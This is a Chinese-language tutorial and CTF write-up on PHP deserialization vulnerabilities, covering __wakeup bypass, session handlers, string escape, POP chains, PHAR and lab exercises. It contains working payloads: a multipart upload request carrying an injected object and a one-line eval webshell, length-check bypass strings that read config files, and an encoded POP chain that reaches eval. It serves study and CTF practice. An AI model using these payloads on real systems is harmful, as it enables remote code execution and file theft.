PHP反序列化总结
序列化初识
以PHP语言为例子,在写程序尤其是写网站的时候,经常会构造类,并且有时候会将实例化的类作为变量进行传输。序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。我们知道一个PHP类都含有几个特定的元素: 类属性、类常量、类方法。每一个类至少都含有以上三个元素,而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的类表示出来并传递。序列化就是将一个类压缩成一个字符串的方法
<?php
class TEST{
public $a="public";
private $b="private";
protected $c="protected";
static $d="static";
}
$ob=new TEST();
echo serialize($ob);
?>
output:
O:4:"TEST":3:{s:1:"a";s:6:"public";s:7:"TESTb";s:7:"private";s:4:"*c";s:9:"protected";}
解析 | |
---|---|
O | 表示这是一个对象 |
4 | 对象的名称TEST有4个字符 |
TEST | 对象的名称 |
3 | 对象属性的个数,不算static |
s | 数据类型为string |
1 | 变量的名字长度 |
a | 变量名 |
s | 数据类型 |
6 | 变量值的长度 |
public | 变量的值 |
s | 数据类型 |
7 | 变量名字的长度,private属性序列化会在两侧加入空字节%00 ,即比明文长度多2 |
TESTb | private属性的变量名在序列化时会加上类名,即类名+变量名 |
s | 数据类型 |
7 | 变量值的长度 |
private | 变量值 |
s | 数据类型 |
4 | 变量名长度 |
*c | protected属性的变量名会在序列化时会在变量名前加上一个\00*\00 |
s | 数据类型 |
9 | 数据值的长度 |
protected | 数据值 |
不同类型的数据
PHP 对不同类型的数据用不同的字母进行标示
字母 | 表示类型 |
---|---|
a | 数组 |
b | 布尔值 |
d | 实数型 |
i | 整型 |
r | 对象引用 |
s | 字符串 |
C | 自定义的对象序列化 |
O | 对象序列化 |
N | NULL |
R | 指针引用 |
U | Unicode编码字符串 |
魔术方法
方法 | 作用 |
---|---|
__construct() | 创建对象时触发 |
__destruct() | 对象被销毁时触发 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
常利用的方法
__sleep()
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
_wakeup()
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。PHP5 < 5.6.25 ---------PHP7 < 7.0.10
绕过方法:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
//新建一个测试脚本
// test.php
<?php
class test{
function __wakeup(){
echo "no bypassed";
}
}
$c=new test();
var_dump(serialize($c));//O:4:"test":0:{}
$a=$_GET['poc'];
$b=unserialize($a);
?>
当尝试反序列化正常的类(属性个数正确),这里的wakeup函数没有被绕过。
尝试将属性个数修改为错误的数字(比原来的大)
可以发现wakeup中的函数没有被执行。
session反序列化漏洞
PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化。
session.serialize_handler
定义用来序列化/反序列化的处理器名字。默认使用php,除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同。
- php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
- php 键名+竖线+经过serialize()函数反序列处理的值
- php_serialize serialize()函数反序列处理数组方式
存储机制
php中的session内容是以文件方式来存储的,由session.save_handler
来决定。文件名由sess_sessionid
命名,文件内容则为session序列化后的值。
php大于5.5.4的版本中默认使用php_serialize规则,可以发现存储的session文件内容就是一个序列化后的内容。
当反序列化和序列化使用的处理器不同,由于格式的原因会导致数据无法正确反序列化,那么就可以通过构造伪造任意数据。
eg:jarvisoj-web session 反序列
地址:http://web.jarvisoj.com:32784/index.php
题目入口并没有提供一个上传session的地方,当有get参数phpinfo时,就会实例化一个对象并显示phpinfo信息。
session上传的一个方法:
当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据
写一个可以向index页面post一个file和一个 PHP_SESSION_UPLOAD_PROGRESS
变量的页面
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value='|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(__dir__));\";}' />
<input type="file" name="file" />
<input type="submit" />
</form>
tip:这里有几个点需要注意一下,value的值需要以|
开头,表示后面的内容是序列化字符串,所有的双引号都需要\
转义
可以看到当前目录有3个文件,其中有个flag文件,让我们尝试输出。
找到当前页面的地址
测试后发现不能通过修改PHP_SESSION_UPLOAD_PROGRESS
变量来输出文件内容,只能通过修改上传文件的文件名来输出文件内容。
POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------168963202918487204361932423174
Content-Length: 519
Origin: http://192.168.43.125
Connection: keep-alive
Referer: http://192.168.43.125/
Cookie: PHPSESSID=bm9uvvdcd711p01u9no5m6c1h4
Upgrade-Insecure-Requests: 1
-----------------------------168963202918487204361932423174
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
123
-----------------------------168963202918487204361932423174
Content-Disposition: form-data; name="file";
filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}"
Content-Type: application/x-php
<?php @eval($_POST['aa']);?>
ls
-----------------------------168963202918487204361932423174--
字符串逃逸
字符串逃逸利用的是反序列化的属性,出现原因是在序列化后进行了字符串的替换
,导致字符串被拓冲,可以将后面的字符串挤出去,挤到后一个对象的变量从而改变其他的变量值,造成逃逸。
tip:序列化字符串后面多的内容不会影响反序列化操作
字符串变长
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='abbc';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."<br>";
$res=filter(serialize($AA));
echo $res."<br>";
$c=unserialize($res);
echo "name:".$c->name."<br>";
echo "pass:".$c->pass."<br>";
?>
这一个示例代码中有一个替换函数,将bb替换为ccc,根据截图我们可以看到当做了字符串替换后,这个变量的长度依然是4,但是里面的内容却多了一位,这个时候直接反序列化是会报错的 只取到了accc
,后面的c多了出来导致没有在合适的地方检测到双引号闭合,反序列失败,所以示例代码的最后一行尝试打印新的pass啥也没有打印出来。
根据上一步我们可以得到每一个bb可以逃逸一个字符,那么我们先计算一下我们需要逃逸多少个字符。
Poc:
";s:4:"pass";s:6:"hack";}
双引号闭合,花括号结尾,一共25个字符,
25个字符则需要25个bb来逃逸,那么新的name就出来了
name='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:4:"hack";}'
新的name长度75
在新的name下,反序列时只会取75位,而因为做了字符串替换导致name从原来的75位变成了100位长度,后面多的25位作为序列化字符串进行反序列,提前闭合整个反序列化,使原来的";s:4:"pass";s:6:"123456";}
失效了,pass变成了hack
eg:[0CTF 2016]piapiapia
https://buuoj.cn/challenges#[0CTF%202016]piapiapia
进入题目后,有一个登陆界面,抓包无明显发现,进行网站目录爆破,发现一个www.zip文件,打开后发现是网站的部分源码
发现flag在config文件中
首先看一下index页面代码
//index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
可以发现用户名和密码长度都需要是3到16位之间,然后调用了user对象的login方法,当login返回真的时候username就会写入到session中,去class.php看一下user的定义。
//class.php部分代码
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
//code
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
//code
}
session_start();
$user = new user();
$user->connect($config);
首先可以发现user是mysql的一个子类,user的login方法首先调用父类方法filter对username和password进行了过滤 然后调用了父类mysql的select方法,传入2个参数,分别是表名user
,还有一个条件username='username'
,当返回的密码和用户输入的密码的md5相等时则返回ture,到这里猜测首先要做一个sql截断。来看一下 mysql类的定义
//class.php部分代码
class mysql {
private $link = null;
//code
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
//code
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
可以看到fileter方法将| \ \\\\ /
替换为_
,将'select', 'insert', 'update', 'delete', 'where'
替换为hacker
,select方法则是简单的一个查询语句,体现在login方法中就是select * from user where username='$username'
.
分析到这里,我们可以知道可以构造特殊的username去使得login返回ture
select * from user where username='admin' group by password with rollup limit 1 offset 2 -- -
这样的显然不太行,字符太多了最多16位,到这里卡住了,才看到这里还有一个register.php。。。。。。。。。。。。。直接去注册页面注册一个账户。
登陆成功后跳转到了update页面,又看到一个表单。
更新后跳转到profile页面,似乎没什么进展,去看一下update的源码看看可不可以上传一句话
//update.php部分代码
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
可以看到上传后的文件名是在upload文件下,文件名被整个md5,然后$profile这个数组被整个序列化操作,看来不能通过一句话木马,但如果整个文件名被md5的话,profile页面是怎么读取用户图片的呢。去看看profile的代码。
//profile.php部分代码
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
可以看到这里存在反序列化profile数组,然后photo那里做了读取文件操作的操作,那么现在的话应该是想办法将profile的photo键值改为config.php,这样就可以读取flag了,profile通过反序列化读取,关键点就在profile的赋值那里了。
//update.php部分代码
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
可以看到photo的值不是完全由变量控制的,加了upload/
的前缀 去看一下update_profile方法的具体过程
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
//code
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
可以看到在上传profile前同样进行了过滤,仔细观察后,发现where
5个字符会被替换为hacker
6个字符,多一个,存在字符串逃逸的可能。
现在先来构造我们需要的profile(phone和email都有格式要求,所以只能从nickname下手)
"a:4:{s:5:"phone";s:11:"17277777777";s:5:"email";s:7:"W@q.com";s:8:"nickname";s:4:"hoho";s:5:"photo";s:10:"config.php";}"
//期望的photo
//希望挤出去覆盖原来值的部分33个字符
";s:5:"photo";s:10:"config.php";}
//则需要33个where
来构造最后的Poc
<?php
$profile['phone'] = '17277777777';
$profile['email'] = 'W@q.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'ggg.php';
echo "before<br>";
$data=(serialize($profile));
$data=str_replace('where', 'hacker', $data);
var_dump($data);
echo "later<br>";
var_dump(unserialize($data));
// $profile['nickname'] = 'where';
?>
POC:33个where";s:5:“photo”;s:10:“config.php”;}
直接去update使用是会报错的,因为太长了,通过strlen;
做了长度判断,但可以通过strlen不能处理数组来绕过
虽然报错但是还是上传成功了
不过在尝试查看profile时,却提示文件名不能为空,说明传值出错了
仔细检查后发现,在绕过nickname长度限制时将其改为数组上传,而数组在序列化时会将其值应{}
包围起来,需要多一个}
进行闭合
//原来希望挤出去覆盖原来值的部分33个字符
";s:5:"photo";s:10:"config.php";}
//现在希望挤出去覆盖原来值的部分34个字符
";}s:5:"photo";s:10:"config.php";}
这样得到最后的Poc
34个where";}s:5:"photo";s:10:"config.php";}
再次尝试update
上传成功后再次访问profile页面,此时就没有错误提示了,查看页面源代码,可以发现一串base64编码的字符,将其解码即可得到文件内容
字符串变短
<?php
function filter($str){
return str_replace('bb', '', $str);
}
class A{
public $name='abbcd';
public $pass='123456';
public $value='666';
}
$AA=new A();
echo serialize($AA)."<br>";
$res=filter(serialize($AA));
echo $res."<br>";
$c=unserialize($res);
var_dump($c);
?>
这里是将其替换为空,后面的字符串往前拉
这里的思路是前一个变量的值替换后可以完完全全的把后一个变量的变量名和值吃掉,而后一个变量在传值时就可以重新构造新的值了
O:1:"A":3:{s:4:"name";s:24:"bbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:54:"12345";s:4:"pass";s:6:"123456";s:5:"value";s:3:"777";}";s:5:"value";s:3:"666";}
O:1:"A":3:{s:4:"name";s:24:"";s:4:"pass";s:54:"12345";s:4:"pass";s:6:"123456";s:5:"value";s:3:"777";}";s:5:"value";s:3:"666";}
eg:[安洵杯 2019]easy_serialize_php
https://buuoj.cn/challenges#[%E5%AE%89%E6%B4%B5%E6%9D%AF%202019]easy_serialize_php
反序列化pop链构造
当前方法中没有可利用代码,即不存在命令执行文件操作函数,可以通过调用其他类方法和函数来达到目的
构造一个测试test页面
//test.php
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval(phpinfo());
}
}
unserialize($_GET['a']);
?>
lemon类创建了正常normal类,然后销毁时执行了action()方法,很正常,但如果让其调用evil类,销毁时候就会调用evil的action()方法出现eval方法,就能达到效果(假设不可以直接反序列evil类)
构造得到我们需要的Poc
得到的Poc,值得注意的是需要这里输出需要url编码,因为原来的输出中有一些字符不可打印复制
O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
利用
PHAR文件触发反序列化
来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。
这个新的攻击方式被他公开在了美国的BlackHat会议演讲上,演讲主题为:”不为人所知的php反序列化漏洞”。它可以使攻击者将相关漏洞的严重程度升级为远程代码执行。
利用条件:
- phar文件要能上传
- 有可利用函数如上图,可魔法函数构造pop链
- 文件函数操作可控,: / phar 等没过被过滤
phar本质是一种压缩文件,压缩文件的权限,属性等信息所存放的位置,以序列化的方法存储用户自定义的meta-data,在使用phar://伪协议时会反序列化这部分,漏洞产生的原因就在这里
Lesser Known Web Attack Lab实战
题目来源:
Lesser Known Web Attack Lab(3道序列化题目)https://github.com/weev3/LKWA
#官方安装的有问题
docker pull area39/lkwa:latest
docker run -d -p 3000:80 area39/lkwa:latest
PHP 对象注入
PHP对象注入是一个漏洞,由于不安全地使用unserialize()函数,攻击者可以利用一些奇怪的东西,如SQL注入、RCE。
http://127.0.0.1:3000/objectInjection/content.php?object=
O:8:"stdClass":2:{s:4:"data";s:9:"Hey Dude!";s:4:"text";s:26:"upload shell if you can!!!";}
这道题的目标是上传一个shell
根据页面回显,我们可以看到页面显示了stdClass对象的2个变量data和text,尝试修改他的值。
发现2个参数都可控,猜测这里有xss漏洞
不过这里的xss不能完成上传shell的目标,审计源码后,发现还定义了一个Foo类
发现Foo中定义了方法可以写入文件,将Foo类复制下来,并实例化出想要的对象,输出序列化后的内容。
尝试新的Poc
虽然创建了文件,但是文件内容没有被写入
多次更换Poc后,发现只有连续的字符可以被写入,中间有空格是不能写入的,这时尝试使用加号替换空格
阿,一直以为是类方法的原因,困扰了好久,,,
输出phpinfo信息
上传一句话木马获取系统权限
OK,这道题圆满完成。
PHP对象注入COOKIE
这道题的目标是执行一条命令,页面提供了一个登陆表单,抓包看看
没什么有用的发现,去看一下源码
发现只有当用户名和密码正确的时候才会设置cookie,设置的cookie的键为username,值为stdClass类实例化之后的序列化字符串。
当cookie的username存在时,username将会被反序列化
发现另外一个类Foo,其中包含一个php执行eval
那么思路就比较清楚了,用Foo的对象序列化字符串去代替原本的cookie,上传后cookie将会被反序列化,Foo中的命令也就执行了。
首先获得Poc,这里需要注意的是命令phpinfo()的分号不要掉了。
然后将其URL编码
将新的Poc放到Cookie中,此时有没有POST数据都无所谓了
成功输出phpinfop
object reference 指针引用
题目要求猜一个数字,要猜对
抓包分析一下,可以看到POST的数据除了一个我们猜的Guess数字还有一个序列化字符串。
解码看一下
O:8:"stdClass":2:{s:5:"guess";N;s:10:"secretCode";R:1;}
可以发现和之前的长的不太一样,这里的对象属性值不是S明文显示,一个是N
一个是 R:1
,即一个是NULL,一个是指针引用。
这里尝试定义一个新的类,并实例化guess指向secretCode的地址
O:8:"newClass":2:{s:5:"guess";N;s:10:"secretCode";R:2;}
分析一下php源代码
可以发现guess的值的变化情况,当obj刚刚反序列化时,guess的值还是NULL,然后赋值POST的guess,此时guess变成了12,然后赋值sercteCode为随机数,guess又变成了sercteCode的值
REF:
https://www.cnblogs.com/Lmg66/archive/2020/10/06/13709419.html